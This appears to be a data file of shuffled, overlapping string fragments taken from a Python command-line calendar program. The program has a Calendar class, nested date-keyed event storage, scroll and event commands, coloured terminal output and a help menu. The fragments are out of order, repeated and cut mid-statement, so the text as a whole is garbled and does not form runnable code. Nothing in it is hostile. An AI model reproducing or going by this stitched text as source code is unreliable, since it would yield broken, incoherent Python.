"clean_nested_dict(nested_dict): \"\"\" Recursively cleans nested_dict to remove empty dicts and subdicts Believe it",
"entry = \" \" cal_string += entry cal_string += \"\\n\" print(cal_string) if __name__",
"elif cmd == self.FORWARD or cmd == self.BACKWARD: # Move forward of backward",
"dates as keys, lastly with a names dict. Structure: self.events = { year(str)",
"f\"{33 + 10}\", \"blue\": f\"{34 + 10}\", \"purple\": f\"{35 + 10}\", \"cyan\": f\"{36",
"cmd == self.SCROLL: calendar_date = parse_user_date(usr_args) self.today = calendar_date elif cmd == self.FORWARD",
"+= \"(Q to quit, H for help) : \" ignores = [\" \",",
"from the parent and clean up recursively if nested_dict == {}: return True",
"in monthly_events and not days == self.today.day: entry = color_entry(entry, txt=\"green\") if days",
"input(f\"Please enter a new name for the event : \") else: break description",
"input(\"Give us a brief description of the event : \\n\") if input(\"Do you",
"finds all events that occur on calendar_date and returns them Args: calendar_date :",
"monthrange(self.today.year, self.today.month)[1] try: monthly_events = list(self.events[str(self.today.year), str(self.today.month)].keys()) monthly_events = [int(dy) for dy in",
"command_loop(self): \"\"\" Main loop of the calendar. Prompts the user to input commands",
"\"\"\" DateTypes = TypeVar(\"DateTypes\", date, datetime) class Calendar: \"\"\" Calendar class to hold",
"os from typing import TypeVar, Tuple from benedict import benedict from Events import",
"for name, ev in names.items(): ev_str = repr(ev).replace(\"\\n\", \"\\n\\t\\t\\t\\t\\t\") prnt += f\"\\t\\t\\t\\t{name}\\t{ev_str}\\n\" prnt",
"IndexError: continue try: if cmd == self.QUIT: break elif cmd == self.HELP: input(self.MENU_STRING)",
"dict with updated indeces \"\"\" input(\"Hello There\") new_ev = self.get_event(modified_event.date_of_event, modified_event.name) old_ev =",
"modified and rewrites it to the dict with updated indeces \"\"\" input(\"Hello There\")",
"<date in yyyy/mm/dd format> - <name> To read an event enter : {READ}",
"if len(usr_args) >= 2: name = usr_args[1] else: name = input(f\"What is the",
"pop_that = Calendar.clean_nested_dict(sub_dict) if pop_that: nested_dict.pop(key) pop_this *= pop_that return pop_this @staticmethod def",
"event name : name of the event: Returns: The event found. Or None",
"a calendar to the terminal or command for the month which contains day.",
"= \"Q\" HELP = \"H\" ALL = \"A\" UTIL = [QUIT, HELP, ALL]",
"us a brief description of the event : \\n\") if input(\"Do you wish",
"f\"{32 + 10}\", \"yellow\": f\"{33 + 10}\", \"blue\": f\"{34 + 10}\", \"purple\": f\"{35",
"Or None if none are found \"\"\" try: ev = self.events[self.ind_from_date(calendar_date, name)] except",
"specify a time? (y/N)\").upper() != \"Y\": self.events[self.ind_from_date(calendar_date, name)] = Event( calendar_date, name, description,",
"month num_days = monthrange(self.today.year, self.today.month)[1] try: monthly_events = list(self.events[str(self.today.year), str(self.today.month)].keys()) monthly_events = [int(dy)",
"os.system('cls') # Find which day of the week the month started on first_day",
"== self.NEW: self.add_event(calendar_date, name) input(f\"new event created {self.get_event(calendar_date, name)}\") if cmd == self.MODIFY",
"from calendar import monthrange import os from typing import TypeVar, Tuple from benedict",
"for i, day in enumerate(self.WEEKDAYS): if days == 0 and i < first_day:",
"days in months.items(): prnt += f\"\\t\\t{month} : \" + \"{\\n\" for day, names",
"self.events[self.ind_from_date(calendar_date, name)] except KeyError: ev = None return ev def find_events(self, calendar_date: DateTypes)",
"if cmd == self.SCROLL: calendar_date = parse_user_date(usr_args) self.today = calendar_date elif cmd ==",
"str): \"\"\" parse scroll commands from the user and make the correct call",
"input some number of possible commands to: * scroll from month to month",
"self.YEAR: self.today = date(self.today.year+sgn, self.today.month, self.today.day) elif usr_ind == self.DAY: self.today = date(self.today.year,",
"= usr_args[1] else: name = input(f\"What is the name of the event to",
"<name> To modify an event enter : {MODIFY} <date in yyyy/mm/dd format> -",
"the calendar! To scroll to the next day enter : {FORWARD}{DAY} TO scroll",
"output and prompt the user to input some number of possible commands to:",
"description = input(\"Give us a brief description of the event : \\n\") if",
"from Prompt import prompt_user_date, parse_user_date, prompt_user_time \"\"\" Should print a calendar to the",
"the next day enter : {FORWARD}{DAY} TO scroll to the previous day enter",
"calendar to the terminal or command for the month which contains day. \"\"\"",
"0 and i < first_day: entry = \" \" else: days += 1",
"in enumerate(self.WEEKDAYS): if days == 0 and i < first_day: entry = \"",
"usr_ind = usr_args if usr_ind == self.YEAR: self.today = date(self.today.year+sgn, self.today.month, self.today.day) elif",
"To read an event enter : {READ} <date in yyyy/mm/dd format> - <name>",
"of days in month num_days = monthrange(self.today.year, self.today.month)[1] try: monthly_events = list(self.events[str(self.today.year), str(self.today.month)].keys())",
"event you described does not exist. Back to main menu \") def update_event(self,",
"input(self.MENU_STRING) elif cmd == self.ALL: self.print_all_events() elif cmd in self.SCROLLING: self.scroll(user_input) elif cmd",
"self.NEW: self.add_event(calendar_date, name) input(f\"new event created {self.get_event(calendar_date, name)}\") if cmd == self.MODIFY or",
"not exist. Back to main menu \") def update_event(self, modified_event: Event, old_date: DateTypes,",
"date or datetime object where we're looking for events Returns: daily events :",
"by the user. Should be led by a valid event based command \"\"\"",
"READ] VERB = { NEW: \"Made\", MODIFY: \"Modified\", READ: \"Read\" } # utility",
"scroll(self, usr_input: str): \"\"\" parse scroll commands from the user and make the",
"a date enter : {SCROLL} <date in yyyy/mm/dd format> To create an event",
"day. \"\"\" def color_entry(message: str, txt: str = \"normal\", bg: str = \"normal\")",
"f\"{day} \" cal_string += \"\\n\" days = 0 while days < num_days: for",
"add_event(self, calendar_date: DateTypes, name: str): \"\"\" Adds an event to the calendar Args:",
"next year enter : {FORWARD}{YEAR} To scroll to the previous year enter :",
"quit, H for help) : \" ignores = [\" \", \"\\n\"] while True:",
"terminal or command for the month which contains day. \"\"\" def color_entry(message: str,",
"to the calendar Args: calendar_date : date of the new event name :",
"self.today.month)[1] try: monthly_events = list(self.events[str(self.today.year), str(self.today.month)].keys()) monthly_events = [int(dy) for dy in monthly_events]",
"call to print_calendar() Args: usr_input : string input by the user. Should be",
"= f\"{old_date.year}.{old_date.month}.{old_date.day}.{old_name}\" self.events.pop(pop_str) Calendar.clean_nested_dict(self.events) self.events[ self.ind_from_date(modified_event.date_of_event, modified_event.name) ] = modified_event def print_all_events(self): prnt",
"enumerate(self.WEEKDAYS): if days == 0 and i < first_day: entry = \" \"",
"To modify an event enter : {MODIFY} <date in yyyy/mm/dd format> - <name>",
"Tacked on to return if included Returns: year (int), month (int), day (int),",
"day, names in days.items(): prnt += f\"\\t\\t\\t{day} : \" + \"{\\n\" for name,",
"sgn = -1 if usr_args is not None: usr_ind = usr_args[0].upper() else: usr_ind",
"There\") new_ev = self.get_event(modified_event.date_of_event, modified_event.name) old_ev = self.get_event(old_date, old_name) if new_ev != old_ev:",
"Structure: self.events = { year(str) : { month(str) : { day(str) : {",
"WEEKDAYS = [\"Mo\", \"Tu\", \"We\", \"Th\", \"Fr\", \"Sa\", \"Su\"] # calendar commands ============================================================================",
"(Y/n) : \" f\"Other event : {self.get_event(calendar_date, name)}\\n\" ) overwrite = overwrite.upper() !=",
"prnt += \"}\" input(prnt) @staticmethod def clean_nested_dict(nested_dict): \"\"\" Recursively cleans nested_dict to remove",
"while days < num_days: for i, day in enumerate(self.WEEKDAYS): if days == 0",
"this dict/sub_dict should be \"popped\" (cleaned up) pop_this = True for key, sub_dict",
"name (str) \"\"\" if name is not None: return str(calendar_date.year), str(calendar_date.month), str(calendar_date.day), name",
"== self.READ: if name in self.find_events(calendar_date).keys(): if cmd == self.MODIFY: mod_event = self.get_event(calendar_date,",
"return if included Returns: year (int), month (int), day (int), name (str) \"\"\"",
"= [int(dy) for dy in monthly_events] except KeyError: monthly_events = [] cal_string =",
"usr_input: str): \"\"\" parse scroll commands from the user and make the correct",
"\" else: days += 1 entry = f\"{days:2} \" if days in monthly_events",
"this works. Checkout the Calendar testing ipython notebook. \"\"\" # if lowest level",
"self.today = date.today() def command_loop(self): \"\"\" Main loop of the calendar. Prompts the",
"calendar_date, name, description, ) else: self.events[self.ind_from_date(calendar_date, name)] = Event( calendar_date, name, description, prompt_user_time(\"What",
"= SCROLLING + EVENTS + UTIL # indicators ----------------------------------------------------------------------------------- DAY = \"D\" MONTH",
"\" cal_string += \"\\n\" days = 0 while days < num_days: for i,",
"scroll to the previous day enter : {BACKWARD}{DAY} To scroll to the the",
"level item is an empty dict, pop this from the parent and clean",
"\"Tu\", \"We\", \"Th\", \"Fr\", \"Sa\", \"Su\"] # calendar commands ============================================================================ # scroll ---------------------------------------------------------------------------------------",
"of that event \"\"\" while name in self.find_events(calendar_date).keys(): overwrite = input( f\"Another event",
"f\"Other event : {self.get_event(calendar_date, name)}\\n\" ) overwrite = overwrite.upper() != \"N\" if not",
"loop of the calendar. Prompts the user to input commands to modify the",
"continue try: if cmd == self.QUIT: break elif cmd == self.HELP: input(self.MENU_STRING) elif",
"Should be led by a valid event based command \"\"\" cmd = usr_input[0]",
"Print the days of the week for day in self.WEEKDAYS: cal_string += f\"{day}",
"else: input(f\"{cmd} is not a valid command, please input a valid command\\ {self.MENU_STRING}\")",
"\"green\": \"32\", \"yellow\": \"33\", \"blue\": \"34\", \"purple\": \"35\", \"cyan\": \"36\", \"white\": \"37\", \"normal\":",
"if cmd == self.MODIFY: mod_event = self.get_event(calendar_date, name) mod_event.modify() self.update_event(mod_event, calendar_date, name) input(f\"Modified",
"+ 10}\", \"blue\": f\"{34 + 10}\", \"purple\": f\"{35 + 10}\", \"cyan\": f\"{36 +",
"self.events dict Args: usr_input : string input by the user. Should be led",
"f\"{old_date.year}.{old_date.month}.{old_date.day}.{old_name}\" self.events.pop(pop_str) Calendar.clean_nested_dict(self.events) self.events[ self.ind_from_date(modified_event.date_of_event, modified_event.name) ] = modified_event def print_all_events(self): prnt =",
"to modify the calendar or scroll around in time \"\"\" command_ms = \"Welcome",
"num_days: for i, day in enumerate(self.WEEKDAYS): if days == 0 and i <",
"month enter : {FORWARD}{MONTH} To scroll to the previous month enter : {BACKWARD}{MONTH}",
"calendar. Prompts the user to input commands to modify the calendar or scroll",
": \") else: usr_args = usr_args.split(\"-\")[:2] calendar_date = parse_user_date(usr_args[0]) if len(usr_args) >= 2:",
"enter : {BACKWARD}{DAY} To scroll to the the next month enter : {FORWARD}{MONTH}",
"a nested dictionary with dates as keys, lastly with a names dict. Structure:",
"clean up recursively if nested_dict == {}: return True # indicates whether this",
"recursively if nested_dict == {}: return True # indicates whether this dict/sub_dict should",
"usr_args[0].upper() else: usr_ind = usr_args if usr_ind == self.YEAR: self.today = date(self.today.year+sgn, self.today.month,",
"enter : {FORWARD}{YEAR} To scroll to the previous year enter : {BACKWARD}{YEAR} To",
"with a names dict. Structure: self.events = { year(str) : { month(str) :",
"do you want to set?\") ) def print_calendar(self): \"\"\" Prints a calendar to",
"= { year(str) : { month(str) : { day(str) : { name(str) :",
"modified_event.name) old_ev = self.get_event(old_date, old_name) if new_ev != old_ev: input(\"General Kenobi\") pop_str =",
"event : \") else: usr_args = usr_args.split(\"-\")[:2] calendar_date = parse_user_date(usr_args[0]) if len(usr_args) >=",
"True: self.print_calendar() user_input = input(command_ms) for ignore in ignores: user_input = user_input.replace(ignore, \"\")",
"commands from the user and edit self.events dict Args: usr_input : string input",
"[int(dy) for dy in monthly_events] except KeyError: monthly_events = [] cal_string = \"\"",
"def color_entry(message: str, txt: str = \"normal\", bg: str = \"normal\") -> str:",
"a date Args: calendar_date : date of the event name : name of",
"Event( calendar_date, name, description, ) else: self.events[self.ind_from_date(calendar_date, name)] = Event( calendar_date, name, description,",
"and not days == self.today.day: entry = color_entry(entry, txt=\"green\") if days == self.today.day",
"in monthly_events: entry = color_entry(entry, txt=\"green\", bg=\"red\") if days > num_days: entry =",
"commands ============================================================================ # scroll --------------------------------------------------------------------------------------- SCROLL = \"S\" FORWARD = \"F\" BACKWARD =",
"= { \"black\": \"30\", \"red\": \"31\", \"green\": \"32\", \"yellow\": \"33\", \"blue\": \"34\", \"purple\":",
"Args: calendar_date : date or datetime object where we're looking for events Returns:",
"except KeyError: ev = None return ev def find_events(self, calendar_date: DateTypes) -> Dict:",
"\\n\") if input(\"Do you wish to specify a time? (y/N)\").upper() != \"Y\": self.events[self.ind_from_date(calendar_date,",
": message to be beautified txt : string indicating color of text bg",
"if days in monthly_events and not days == self.today.day: entry = color_entry(entry, txt=\"green\")",
"import Event from CalendarErrors import BreakoutError, MainError from Prompt import prompt_user_date, parse_user_date, prompt_user_time",
"terminal/console output and prompt the user to input some number of possible commands",
": {mod_event}\") else: input(self.get_event(calendar_date, name)) else: input(\"The event you described does not exist.",
"is None: calendar_date = prompt_user_date(\"Lets get a date for the event\") name =",
"== self.today.day and days not in monthly_events: entry = color_entry(entry, bg=\"red\") if days",
"\" ignores = [\" \", \"\\n\"] while True: self.print_calendar() user_input = input(command_ms) for",
"[SCROLL, FORWARD, BACKWARD] # Event ---------------------------------------------------------------------------------------- NEW = \"N\" MODIFY = \"C\" READ",
"== 0 and i < first_day: entry = \" \" else: days +=",
"user. Should be led by a valid scroll based command \"\"\" cmd =",
"+ \"{\\n\" for month, days in months.items(): prnt += f\"\\t\\t{month} : \" +",
"dict): return False # if lowest level item is an empty dict, pop",
"a names dict. Structure: self.events = { year(str) : { month(str) : {",
"how to use the calendar! To scroll to the next day enter :",
"usr_args = usr_args.split(\"-\")[:2] calendar_date = parse_user_date(usr_args[0]) if len(usr_args) >= 2: name = usr_args[1]",
"else: self.events[self.ind_from_date(calendar_date, name)] = Event( calendar_date, name, description, prompt_user_time(\"What time do you want",
"if cmd == self.MODIFY or cmd == self.READ: if name in self.find_events(calendar_date).keys(): if",
": {BACKWARD}{MONTH} To scroll to the next year enter : {FORWARD}{YEAR} To scroll",
"events on certain days \"\"\" DateTypes = TypeVar(\"DateTypes\", date, datetime) class Calendar: \"\"\"",
"{self.get_event(calendar_date, name)}\\n\" ) overwrite = overwrite.upper() != \"N\" if not overwrite: name =",
"Scroll by month is default self.today = date(self.today.year, self.today.month+sgn, self.today.day) def eventing(self, usr_input:",
"and days in monthly_events: entry = color_entry(entry, txt=\"green\", bg=\"red\") if days > num_days:",
"ipython notebook. \"\"\" # if lowest level item is not an empty dict,",
"calendar_date: DateTypes, name: str): \"\"\" Adds an event to the calendar Args: calendar_date",
"is not None: usr_ind = usr_args[0].upper() else: usr_ind = usr_args if usr_ind ==",
"name in self.find_events(calendar_date).keys(): overwrite = input( f\"Another event is named {name} on that",
"calendar, what would you like to do? \\n\" command_ms += \"(Q to quit,",
"in self.events.items(): prnt += f\"\\t{year} : \" + \"{\\n\" for month, days in",
"TypeVar, Tuple from benedict import benedict from Events import Event from CalendarErrors import",
"{FORWARD}{MONTH} To scroll to the previous month enter : {BACKWARD}{MONTH} To scroll to",
"is default self.today = date(self.today.year, self.today.month+sgn, self.today.day) def eventing(self, usr_input: str): \"\"\" parse",
"\"\\n\\t\\t\\t\\t\\t\") prnt += f\"\\t\\t\\t\\t{name}\\t{ev_str}\\n\" prnt += \"\\t\\t\\t},\\n\" prnt += \"\\t\\t},\\n\" prnt += \"\\t},\\n\"",
"it to the dict with updated indeces \"\"\" input(\"Hello There\") new_ev = self.get_event(modified_event.date_of_event,",
"self.today.day and days not in monthly_events: entry = color_entry(entry, bg=\"red\") if days ==",
"name)] = Event( calendar_date, name, description, ) else: self.events[self.ind_from_date(calendar_date, name)] = Event( calendar_date,",
"TypeVar(\"DateTypes\", date, datetime) class Calendar: \"\"\" Calendar class to hold info on all",
"# Event ---------------------------------------------------------------------------------------- NEW = \"N\" MODIFY = \"C\" READ = \"R\" EVENTS",
"The event found. Or None if none are found \"\"\" try: ev =",
"for dy in monthly_events] except KeyError: monthly_events = [] cal_string = \"\" #",
": \") else: break description = input(\"Give us a brief description of the",
"be used for indexing name : optional. Tacked on to return if included",
"description of the event : \\n\") if input(\"Do you wish to specify a",
"the previous month enter : {BACKWARD}{MONTH} To scroll to the next year enter",
"txt=\"cyan\" ) # Print the days of the week for day in self.WEEKDAYS:",
"List, Dict from datetime import date, datetime from calendar import monthrange import os",
": {NEW} <date in yyyy/mm/dd format> - <name> To modify an event enter",
"and input again except MainError: continue def scroll(self, usr_input: str): \"\"\" parse scroll",
"help) : \" ignores = [\" \", \"\\n\"] while True: self.print_calendar() user_input =",
"remove empty dicts and subdicts Believe it or not this works. Checkout the",
"date of the new event name : name of that event \"\"\" while",
"to use the calendar! To scroll to the next day enter : {FORWARD}{DAY}",
"<date in yyyy/mm/dd format> To create an event enter : {NEW} <date in",
"None return ev def find_events(self, calendar_date: DateTypes) -> Dict: \"\"\" finds all events",
"\"\"\" # if lowest level item is not an empty dict, don't pop",
"empty dict, don't pop this, or parents if not isinstance(nested_dict, dict): return False",
"__init__(self): \"\"\" Constructor for the Calendar Stores events as a nested dictionary with",
"def update_event(self, modified_event: Event, old_date: DateTypes, old_name: str): \"\"\" Checks event after it's",
"{name} on that date. Do you wish to overwrite it? (Y/n) : \"",
"the calendar. Prompts the user to input commands to modify the calendar or",
"usr_input[1:] else: usr_args = None if cmd == self.SCROLL: calendar_date = parse_user_date(usr_args) self.today",
"!= old_ev: input(\"General Kenobi\") pop_str = f\"{old_date.year}.{old_date.month}.{old_date.day}.{old_name}\" self.events.pop(pop_str) Calendar.clean_nested_dict(self.events) self.events[ self.ind_from_date(modified_event.date_of_event, modified_event.name) ]",
"\"36\", \"white\": \"37\", \"normal\": 1 } bg_colors = { \"black\": f\"{37+10}\", \"red\": f\"{31",
"\"\\t\\t},\\n\" prnt += \"\\t},\\n\" prnt += \"}\" input(prnt) @staticmethod def clean_nested_dict(nested_dict): \"\"\" Recursively",
"as keys, lastly with a names dict. Structure: self.events = { year(str) :",
": {SCROLL} <date in yyyy/mm/dd format> To create an event enter : {NEW}",
"\"\"\" try: ev = self.events[self.ind_from_date(calendar_date, name)] except KeyError: ev = None return ev",
"\"\"\" Should print a calendar to the terminal/console output and prompt the user",
"Dict: \"\"\" finds all events that occur on calendar_date and returns them Args:",
"\" \" cal_string += entry cal_string += \"\\n\" print(cal_string) if __name__ == '__main__':",
"+ \"{\\n\" for name, ev in names.items(): ev_str = repr(ev).replace(\"\\n\", \"\\n\\t\\t\\t\\t\\t\") prnt +=",
"if input(\"Do you wish to specify a time? (y/N)\").upper() != \"Y\": self.events[self.ind_from_date(calendar_date, name)]",
"message \"\"\" txt_colors = { \"black\": \"30\", \"red\": \"31\", \"green\": \"32\", \"yellow\": \"33\",",
"MainError from Prompt import prompt_user_date, parse_user_date, prompt_user_time \"\"\" Should print a calendar to",
"str): \"\"\" parse event commands from the user and edit self.events dict Args:",
"= \"Welcome to the calendar, what would you like to do? \\n\" command_ms",
"to a date enter : {SCROLL} <date in yyyy/mm/dd format> To create an",
"\"\"\" input(\"Hello There\") new_ev = self.get_event(modified_event.date_of_event, modified_event.name) old_ev = self.get_event(old_date, old_name) if new_ev",
"description, ) else: self.events[self.ind_from_date(calendar_date, name)] = Event( calendar_date, name, description, prompt_user_time(\"What time do",
"try and input again except MainError: continue def scroll(self, usr_input: str): \"\"\" parse",
"nested_dict.pop(key) pop_this *= pop_that return pop_this @staticmethod def ind_from_date(calendar_date: DateTypes, name: str =",
"usr_args[1] else: name = input(f\"What is the name of the event to be",
"correct call to print_calendar() Args: usr_input : string input by the user. Should",
"the user and edit self.events dict Args: usr_input : string input by the",
"+ 10}\", \"green\": f\"{32 + 10}\", \"yellow\": f\"{33 + 10}\", \"blue\": f\"{34 +",
"\"normal\", bg: str = \"normal\") -> str: \"\"\" turns message into a colorful",
"= usr_input[0] if len(usr_input) > 1: usr_args = usr_input[1:] else: usr_args = None",
"else: return str(calendar_date.year), str(calendar_date.month), str(calendar_date.day) def get_event(self, calendar_date: DateTypes, name: str) -> Event:",
"works. Checkout the Calendar testing ipython notebook. \"\"\" # if lowest level item",
"is an empty dict, pop this from the parent and clean up recursively",
"# scroll --------------------------------------------------------------------------------------- SCROLL = \"S\" FORWARD = \"F\" BACKWARD = \"B\" SCROLLING",
"to specify a time? (y/N)\").upper() != \"Y\": self.events[self.ind_from_date(calendar_date, name)] = Event( calendar_date, name,",
"be led by a valid event based command \"\"\" cmd = usr_input[0] if",
"\"\"\" WEEKDAYS = [\"Mo\", \"Tu\", \"We\", \"Th\", \"Fr\", \"Sa\", \"Su\"] # calendar commands",
"HELP = \"H\" ALL = \"A\" UTIL = [QUIT, HELP, ALL] COMMANDS =",
": {FORWARD}{YEAR} To scroll to the previous year enter : {BACKWARD}{YEAR} To scroll",
"<date in yyyy/mm/dd format> - <name> To modify an event enter : {MODIFY}",
"enter a new name for the event : \") else: break description =",
"def scroll(self, usr_input: str): \"\"\" parse scroll commands from the user and make",
"else: input(\"The event you described does not exist. Back to main menu \")",
"modify events on certain days \"\"\" DateTypes = TypeVar(\"DateTypes\", date, datetime) class Calendar:",
"NEW = \"N\" MODIFY = \"C\" READ = \"R\" EVENTS = [NEW, MODIFY,",
"on that date. Do you wish to overwrite it? (Y/n) : \" f\"Other",
"ind_from_date(calendar_date: DateTypes, name: str = None): \"\"\" Args: calendar_date : date to be",
"MODIFY = \"C\" READ = \"R\" EVENTS = [NEW, MODIFY, READ] VERB =",
"edit self.events dict Args: usr_input : string input by the user. Should be",
"= \"B\" SCROLLING = [SCROLL, FORWARD, BACKWARD] # Event ---------------------------------------------------------------------------------------- NEW = \"N\"",
"name(str) : (Event) } } } } \"\"\" self.events = benedict() self.today =",
"yyyy/mm/dd format> - <name> To read an event enter : {READ} <date in",
"usr_args = None if cmd == self.SCROLL: calendar_date = parse_user_date(usr_args) self.today = calendar_date",
"ev_str = repr(ev).replace(\"\\n\", \"\\n\\t\\t\\t\\t\\t\") prnt += f\"\\t\\t\\t\\t{name}\\t{ev_str}\\n\" prnt += \"\\t\\t\\t},\\n\" prnt += \"\\t\\t},\\n\"",
"object where we're looking for events Returns: daily events : dictionary of events",
"be \"popped\" (cleaned up) pop_this = True for key, sub_dict in list(nested_dict.items()): pop_that",
"for the Calendar Stores events as a nested dictionary with dates as keys,",
"to the calendar, what would you like to do? \\n\" command_ms += \"(Q",
"scroll to the next year enter : {FORWARD}{YEAR} To scroll to the previous",
"self.READ: if name in self.find_events(calendar_date).keys(): if cmd == self.MODIFY: mod_event = self.get_event(calendar_date, name)",
"def add_event(self, calendar_date: DateTypes, name: str): \"\"\" Adds an event to the calendar",
"days in monthly_events: entry = color_entry(entry, txt=\"green\", bg=\"red\") if days > num_days: entry",
"event : \\n\") if input(\"Do you wish to specify a time? (y/N)\").upper() !=",
") # Print the days of the week for day in self.WEEKDAYS: cal_string",
"to quit, H for help) : \" ignores = [\" \", \"\\n\"] while",
"\"\"\" Prints a calendar to the terminal or command for the month which",
"if included Returns: year (int), month (int), day (int), name (str) \"\"\" if",
"txt=\"green\") if days == self.today.day and days not in monthly_events: entry = color_entry(entry,",
"} } \"\"\" self.events = benedict() self.today = date.today() def command_loop(self): \"\"\" Main",
": \\n\") if input(\"Do you wish to specify a time? (y/N)\").upper() != \"Y\":",
"keys, lastly with a names dict. Structure: self.events = { year(str) : {",
"daily_events = self.events[self.ind_from_date(calendar_date)] except KeyError: daily_events = {} return daily_events def add_event(self, calendar_date:",
"self.today = calendar_date elif cmd == self.FORWARD or cmd == self.BACKWARD: # Move",
"event found. Or None if none are found \"\"\" try: ev = self.events[self.ind_from_date(calendar_date,",
"for the month which contains day. \"\"\" def color_entry(message: str, txt: str =",
"user_input = user_input.replace(ignore, \"\") try: cmd = user_input[0].upper() except IndexError: continue try: if",
"\"\" # Print month and year cal_string += color_entry( f\"{self.MONTHS[self.today.month]} : {self.today.year}\\n\", txt=\"cyan\"",
"from the user and make the correct call to print_calendar() Args: usr_input :",
"if lowest level item is not an empty dict, don't pop this, or",
"and returns them Args: calendar_date : date or datetime object where we're looking",
"To print all events enter : {ALL} (To continue Press enter) \"\"\" def",
"import List, Dict from datetime import date, datetime from calendar import monthrange import",
"\" + \"{\\n\" for name, ev in names.items(): ev_str = repr(ev).replace(\"\\n\", \"\\n\\t\\t\\t\\t\\t\") prnt",
"for the event : \") else: usr_args = usr_args.split(\"-\")[:2] calendar_date = parse_user_date(usr_args[0]) if",
"Recursively cleans nested_dict to remove empty dicts and subdicts Believe it or not",
"= self.get_event(calendar_date, name) mod_event.modify() self.update_event(mod_event, calendar_date, name) input(f\"Modified event : {mod_event}\") else: input(self.get_event(calendar_date,",
"== self.ALL: self.print_all_events() elif cmd in self.SCROLLING: self.scroll(user_input) elif cmd in self.EVENTS: self.eventing(user_input)",
"12: \"December\" } MENU_STRING = f\"\"\" Here's how to use the calendar! To",
"= modified_event def print_all_events(self): prnt = \"{\\n\" for year, months in self.events.items(): prnt",
"in yyyy/mm/dd format> To create an event enter : {NEW} <date in yyyy/mm/dd",
"month started on first_day = date(self.today.year, self.today.month, 1).weekday() # Find number of days",
"color_entry( f\"{self.MONTHS[self.today.month]} : {self.today.year}\\n\", txt=\"cyan\" ) # Print the days of the week",
"date.today() def command_loop(self): \"\"\" Main loop of the calendar. Prompts the user to",
"= input(\"Give us a name for the event : \") else: usr_args =",
"not a valid command, please input a valid command\\ {self.MENU_STRING}\") # MainError is",
"event created {self.get_event(calendar_date, name)}\") if cmd == self.MODIFY or cmd == self.READ: if",
"message into a colorful version of itself Args: message : message to be",
"benedict from Events import Event from CalendarErrors import BreakoutError, MainError from Prompt import",
"\"October\", 11: \"November\", 12: \"December\" } MENU_STRING = f\"\"\" Here's how to use",
"input(f\"{cmd} is not a valid command, please input a valid command\\ {self.MENU_STRING}\") #",
"\"purple\": \"35\", \"cyan\": \"36\", \"white\": \"37\", \"normal\": 1 } bg_colors = { \"black\":",
"calendar_date: DateTypes) -> Dict: \"\"\" finds all events that occur on calendar_date and",
"new name for the event : \") else: break description = input(\"Give us",
"format> - <name> To modify an event enter : {MODIFY} <date in yyyy/mm/dd",
"from CalendarErrors import BreakoutError, MainError from Prompt import prompt_user_date, parse_user_date, prompt_user_time \"\"\" Should",
"str): \"\"\" Checks event after it's been modified and rewrites it to the",
"the terminal/console output and prompt the user to input some number of possible",
"VERB = { NEW: \"Made\", MODIFY: \"Modified\", READ: \"Read\" } # utility --------------------------------------------------------------------------------------",
"return f\"\\033[1;{txt_colors[txt]};{bg_colors[bg]}m{message}\\033[0m\" os.system('cls') # Find which day of the week the month started",
"MONTH, YEAR, EVENT] MONTHS = { 1: \"January\", 2: \"February\", 3: \"March\", 4:",
"a calendar to the terminal/console output and prompt the user to input some",
"by a valid event based command \"\"\" cmd = usr_input[0] if len(usr_input) >",
"if cmd == self.QUIT: break elif cmd == self.HELP: input(self.MENU_STRING) elif cmd ==",
"described does not exist. Back to main menu \") def update_event(self, modified_event: Event,",
"nested_dict == {}: return True # indicates whether this dict/sub_dict should be \"popped\"",
"empty dict, pop this from the parent and clean up recursively if nested_dict",
"\"September\", 10: \"October\", 11: \"November\", 12: \"December\" } MENU_STRING = f\"\"\" Here's how",
"QUIT = \"Q\" HELP = \"H\" ALL = \"A\" UTIL = [QUIT, HELP,",
"where we're looking for events Returns: daily events : dictionary of events occurring",
"f\"{30 + 10}\", \"normal\": 1 } return f\"\\033[1;{txt_colors[txt]};{bg_colors[bg]}m{message}\\033[0m\" os.system('cls') # Find which day",
"calendar_date = parse_user_date(usr_args[0]) if len(usr_args) >= 2: name = usr_args[1] else: name =",
"in months.items(): prnt += f\"\\t\\t{month} : \" + \"{\\n\" for day, names in",
"== {}: return True # indicates whether this dict/sub_dict should be \"popped\" (cleaned",
"parents if not isinstance(nested_dict, dict): return False # if lowest level item is",
"10}\", \"normal\": 1 } return f\"\\033[1;{txt_colors[txt]};{bg_colors[bg]}m{message}\\033[0m\" os.system('cls') # Find which day of the",
"or datetime object where we're looking for events Returns: daily events : dictionary",
"MONTH = \"M\" YEAR = \"Y\" EVENT = \"E\" INDICATORS = [DAY, MONTH,",
"create an event enter : {NEW} <date in yyyy/mm/dd format> - <name> To",
"\"cyan\": f\"{36 + 10}\", \"white\": f\"{30 + 10}\", \"normal\": 1 } return f\"\\033[1;{txt_colors[txt]};{bg_colors[bg]}m{message}\\033[0m\"",
"\"Read\" } # utility -------------------------------------------------------------------------------------- QUIT = \"Q\" HELP = \"H\" ALL =",
"def ind_from_date(calendar_date: DateTypes, name: str = None): \"\"\" Args: calendar_date : date to",
"= self.events[self.ind_from_date(calendar_date, name)] except KeyError: ev = None return ev def find_events(self, calendar_date:",
"\"black\": \"30\", \"red\": \"31\", \"green\": \"32\", \"yellow\": \"33\", \"blue\": \"34\", \"purple\": \"35\", \"cyan\":",
"\"\"\" Args: calendar_date : date to be used for indexing name : optional.",
"pop_this @staticmethod def ind_from_date(calendar_date: DateTypes, name: str = None): \"\"\" Args: calendar_date :",
"KeyError: daily_events = {} return daily_events def add_event(self, calendar_date: DateTypes, name: str): \"\"\"",
"\"Q\" HELP = \"H\" ALL = \"A\" UTIL = [QUIT, HELP, ALL] COMMANDS",
"event \"\"\" while name in self.find_events(calendar_date).keys(): overwrite = input( f\"Another event is named",
": {BACKWARD}{YEAR} To scroll to a date enter : {SCROLL} <date in yyyy/mm/dd",
"else: usr_ind = usr_args if usr_ind == self.YEAR: self.today = date(self.today.year+sgn, self.today.month, self.today.day)",
"= \"M\" YEAR = \"Y\" EVENT = \"E\" INDICATORS = [DAY, MONTH, YEAR,",
"\"\"\" Checks event after it's been modified and rewrites it to the dict",
"in time \"\"\" command_ms = \"Welcome to the calendar, what would you like",
"+ 10}\", \"normal\": 1 } return f\"\\033[1;{txt_colors[txt]};{bg_colors[bg]}m{message}\\033[0m\" os.system('cls') # Find which day of",
"-> Dict: \"\"\" finds all events that occur on calendar_date and returns them",
"from benedict import benedict from Events import Event from CalendarErrors import BreakoutError, MainError",
